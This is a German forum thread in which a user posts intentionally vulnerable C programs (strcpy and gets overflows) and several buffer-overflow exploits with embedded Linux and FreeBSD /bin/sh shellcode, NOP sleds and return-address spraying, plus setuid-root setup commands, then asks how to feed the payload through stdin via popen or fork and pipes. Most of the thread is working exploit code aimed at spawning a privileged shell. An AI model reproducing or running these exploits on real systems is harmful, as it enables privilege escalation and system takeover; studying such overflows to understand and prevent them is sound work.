Vulnerable program exploiten?!

Hallo zusammen,

Habe da ein Problem, und zwar seht ihr unten ein Beispiel Programm das über die strcpy() Funktion, einen string bis zu 500 Zeichen einlesen kann dieser dann in buffer gespeichert wird. Wenn ich nun mehr als 500 + 4 + 4 Bytes eingebe, überschreibt nun der Buffer den ESP und die Return Adresse, ist ja klar, da die strycpy() keine Bereichsgrenz Überprüfung hat, also man übers Ziel hinausschreiben kann. Dieses Programm liesst aber den String über die Argumente beim Programmstart ein, folgender maßen ist nun auch das Exploit unter diesem Programm aufgebaut. Der rets, nops und den shellcode in die Variable Buffer schreibt und dieser als Argument bei dem Programm übergeben wird. Als folge eröffnet sich dann ja eine Shell unter den Rechten unter dem das "vulnerable" Programm läuft.


Code:
/* vulnerable.c */

int main(int argc, char *argv[])
{
	char buffer[500];
	if(argc>=2) strcpy(buffer, argv[1]);
	return 0;
}



Code:
/* exploit.c */

#include <stdlib.h>

#define BUFFERSIZE 600  /* vulnerable buffer + 100 bytes */

/* shellcode for freebsd (*bsd?) */
char bsdshell[] = \"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\"
                  \"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53\"
                  \"\xb0\x3b\x50\xcd\x80\";

/* linux x86 shellcode */
char lunixshell[] = \"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0\"
                    \"\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd\"
                    \"\x80\xe8\xde\xff\xff\xff/bin/sh\";

unsigned long sp(void)
{
	__asm__(\"movl %esp, %eax\");
}

void usage(char *cmd)
{
	printf(\"\nusage: %s <offset> <os>\n\n\", cmd);
	printf(\"OS types are:  1. FreeBSD (*bsd?)  2. Linux\n\n\");
	exit(-1);
}

int main(int argc, char *argv[])
{
	int i, offset, os;
	long esp, ret, *addr_ptr;
	char *buffer, *ptr, *osptr;

	if(argc<3) usage(argv[0]);   /* quit if they didnt specify an offset */

	offset = atoi(argv[1]);  /* get the offset they specified */
	esp    = sp();           /* get the stack pointer */
	ret    = esp-offset;     /* sp - offset = return address */
	os     = atoi(argv[2]);  /* get os */

	if(os<1 || os>2) usage(argv[0]);

	printf(\"Stack pointer: 0x%x\n\", esp);
	printf(\"       Offset: 0x%x\n\", offset);
	printf(\"  Return addr: 0x%x\n\", ret);

	/* allocate memory for our buffer */
	if(!(buffer = malloc(BUFFERSIZE))) {
		printf(\"Couldn't allocate memory.\n\");
		exit(-1);
	}

	/* fill buffer with ret addr's */
	ptr = buffer;
	addr_ptr = (long *)ptr;
	for(i=0; i<BUFFERSIZE; i+=4)
		*(addr_ptr++) = ret;

	/* fill first half of buffer with NOPs */
	for(i=0; i<BUFFERSIZE/2; i++)
		buffer[i] = '\x90';

	/* insert shellcode in the middle */
	if(os == 1) {
		ptr = buffer + ((BUFFERSIZE/2) - (strlen(bsdshell)/2));
		for(i=0; i<strlen(bsdshell); i++)
			*(ptr++) = bsdshell[i];
	} else {
		ptr = buffer + ((BUFFERSIZE/2) - (strlen(lunixshell)/2));
		for(i=0; i<strlen(lunixshell); i++)
			*(ptr++) = lunixshell[i];
	}

	/* call the vulnerable program passing our exploit buffer as the argument */

	buffer[BUFFERSIZE-1] = 0;
	execl(\"./vulnerable\", \"vulnerable\", buffer, 0);

	return 0;
}


Ist so weit eigentlich klar.

Nun ist aber das Problem das ich nicht genau weis, wie ich ein Programm exploiten kann, wenn der Buffer nicht über ein Kommandozeilen Parameter gefüllt wird, sonder mitten im Programm nach einem String abgefragt und dieser in den Buffer kopiert wird. Wie soll ich den manipulierten Buffer(rets, nops, shellcode) dem Programm übergeben?


Code:
/* vulnerable2.c */

#include <stdio.h>

int main(void)
{
	char name[264];
	printf(\"Gebe deinen Namen ein: \");
	gets(name); // oder scanf(\"%s\", &name)
	printf(\"Dein Name ist: %s\",name);
}

Wenn einer eine Idee hat, wäre ich für ein bischen Beispiel Code sehr Dankbar, aber so für jede Hilfe!

Danke
 
Mit pipes. Damit kannst du "interaktiv" deinen String dem Programm übergeben. Ich glaube mit popen() kannst du sogar das Programm öffnen und mit einem Deskriptor in die Pipe schreiben oder lesen.

zb:

#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main()
{
FILE *pipe;
char attack[800];

pipe = popen("/home/peacetreaty/buggy","w");
...........
............
in attackwasreintun
...........
..........

und dann fprintf(pipe,"%s",attack);
pclose(pipe);
return 0;
}
 
Danke erstmal für die schnelle Anwort. Ich habe das Exploit darauf mal ein bischen umgeformt, nur leider funktioniert es nicht. Note: attack, hier *buffer!

Code:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define BUFFSIZE 296

unsigned long get_sp(void)
{
	__asm__(\"movl %esp, %eax\");
}

int main(int argc, char *argv[])
{
    FILE *pipe;
    
    int i, offset;
    long esp, return_address, *address_pointer;
    char *buffer, *pointer;
    
    char shellcode[] =  \"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\"
                        \"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\"
                        \"\x80\xe8\xdc\xff\xff\xff/bin/sh\";
    pipe = popen(\"./vulnerable\",\"w\");
                        
    offset         = atoi(argv[1]);
    esp            = get_sp();
    return_address = esp - offset;
                              
    printf(\" Stack Pointer: 0x%x\n\", esp);
    printf(\"        Offset: 0x%x\n\", offset);
    printf(\"Return Address: 0x%x\n\", return_address);     
    
    if(!(buffer = malloc(BUFFSIZE)))
    {
        printf(\"Couldn't allocate memory.\n\");
        exit(-1);
    }
    
    printf(\"Preparing exploit buffer!\n\");
    
    /* Fill buffer with return address's */
    pointer = buffer; // Pointer zeigt auf den Anfang von Buffer
    address_pointer = (long *)pointer;
    for(i=0; i<BUFFSIZE; i=i+4)
        *(address_pointer++) = return_address;
    
    /* Fill first half of buffer with NOPs */
    for(i=0; i<BUFFSIZE/2; i++)
        buffer[i] = 0x90;
        
    /* Insert shellcode in the middle */
    pointer = buffer + ((BUFFSIZE/2) - (strlen(shellcode)/2));
    for(i=0; i<strlen(shellcode); i++)
        *(pointer++) = shellcode[i];
        
    buffer[BUFFSIZE-1] = 0;
                    
    fprintf(pipe,\"%s\",buffer);
    pclose(pipe);
    return 0;
}

Anwendung:

[ps@box]$ gcc vulnerable.c vulnerable
[ps@box]$ gcc exploit.c -o exploit
[ps@box]$ su
[root@box]$ chown 0 vulnerable
[root@box]$ chmod 4755
exit
[ps@box]$ ./exploit 0
Stack Pointer 0xbffff888
Offset: 0x0
Return Address: 0xbffff888
Preparing exploit buffer!
[ps@box]$



Stimmt irgendetwas am Code nicht?
 
Habe einen ähnlichen Code gefunden wo diese Funktionen auch benutzt werde, habe dieses Exploit dann ein wenig umgeändert. Kommt aber trotzdem nicht bei heraus.

Wenn ich folgendes eingebe:

[ps@box]$ ./exploit
<- Als ob er auf Eingaben warten würde, passiert aber nichts, man kann so viel eingeben wie man will.

Strg^C
[ps@box]$



Code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

#define BUFFSIZE 1024

unsigned long get_sp(void)
{
	__asm__(\"movl %esp, %eax\");
}

char shellcode[] = 
\"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\"
\"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\"
\"\x80\xe8\xdc\xff\xff\xff/bin/sh\";

int main(int argc, char **argv) // *argv[]
{
    int in[2], out[2];
    
    if(pipe (in) == -1 || pipe (out) == -1)
    {
        perror(\"pipe\");
        exit(EXIT_FAILURE);
    }
    
    if(fork() == 0)
    {
        dup2 (in[0], STDIN_FILENO);
        dup2 (out[1], STDOUT_FILENO);
        
        execl (\"vulnerable\", \"vulnerable\", 0);
        perror (\"execl()\");
    }
    
    else
    {
        fd_set fds;
        int i, offset;
        long esp, return_address, *address_pointer;
        char *buffer, *pointer;
    
        offset         = atoi(argv[1]);
        esp            = get_sp();
        return_address = esp - offset;
        
        printf(\" Stack Pointer: 0x%x\n\", esp);
        printf(\"        Offset: 0x%x\n\", offset);
        printf(\"Return Address: 0x%x\n\", return_address);
        
        if(!(buffer = malloc(BUFFSIZE)))
        {
        printf(\"Couldn't allocate memory.\n\");
        exit(-1);
        }
    
        printf(\"Preparing exploit buffer!\n\");
    
        /* Fill buffer with return address's */
        pointer = buffer; 
        address_pointer = (long *)pointer;
        for(i=0; i<BUFFSIZE; i=i+4)
        *(address_pointer++) = return_address;
    
        /* Fill first half of buffer with NOPs */
        for(i=0; i<BUFFSIZE/2; i++)
        buffer[i] = 0x90;
        
        /* Insert shellcode in the middle */
        pointer = buffer + ((BUFFSIZE/2) - (strlen(shellcode)/2));
        for(i=0; i<strlen(shellcode); i++)
        *(pointer++) = shellcode[i];
        
        buffer[BUFFSIZE-1] = 0;
        
        while(1)
        {
                FD_ZERO(&fds);
                FD_SET(0,&fds);
                FD_SET(out[0], &fds);
                
                if(select(FD_SETSIZE, &fds, 0, 0, 0))
                {
                      if(FD_ISSET(STDIN_FILENO, &fds))
                      {
                                if((i=read(STDIN_FILENO, buffer, sizeof(buffer))) < 1)
                                {
                                      if(errno == EWOULDBLOCK ||errno == EAGAIN)
                                            continue;
                                      else
                                            break;
                                }
                                write(in[1], buffer, i);
                      }
                      if(FD_ISSET(out[0], &fds))
                      {
                            if((i=read(out[0], buffer, sizeof(buffer))) < 1)
                            {
                                  if(errno == EWOULDBLOCK ||errno == EAGAIN)
                                        continue;
                                  else
                                        break;
                             }  
                             write(STDOUT_FILENO, buffer, i);
                      }
                }
        }
    }
}
 
ein zusaetzliches Programm..auch wenn es fork nutzt nuetzt nix..zumindest nicht wenn Du ein anderes PRogramm sploiten willst...
 
Zurück
Oben